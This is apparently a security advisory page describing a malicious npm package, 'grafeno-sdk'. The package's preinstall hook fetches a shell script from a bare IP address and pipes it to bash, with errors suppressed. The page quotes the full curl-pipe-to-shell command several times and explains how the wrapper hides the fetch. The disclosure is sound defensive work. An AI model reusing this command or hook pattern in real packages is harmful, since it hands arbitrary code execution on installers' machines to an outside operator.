VDB

GCVE-110-OSM-2026-11282

GCVE-110-OSM-2026-11282
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published August 29, 2026
package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer. Judge assessment: This package is an install-time remote code execution loader: the `preinstall` script in `package.json` runs `curl -s 216.126.236.46/x.sh|sh`, which fetches and executes a shell script from a bare IPv4 address on every `npm install`. The attacker model is a publisher-controlled install hook handing arbitrary code execution to the operator of `216.126.236.46`, and the plaintext IOC is recovered directly from the operational field. The package is also brand new, published from a very new npm account, and has no source repository, which is consistent with a disposable malicious upload rather than a legitimate SDK. The benign-looking `index.js` export is irrelevant because the malicious behavior occurs before import, via the install hook. ENTRY index.js (default-index: index.js) - Preinstall Script in package.json: ""preinstall":"curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknowngrafeno-sdkall (affected)

References

advisory
vendor

Browse GCVE Records

825 records in the GCVE database · Updated September 1, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›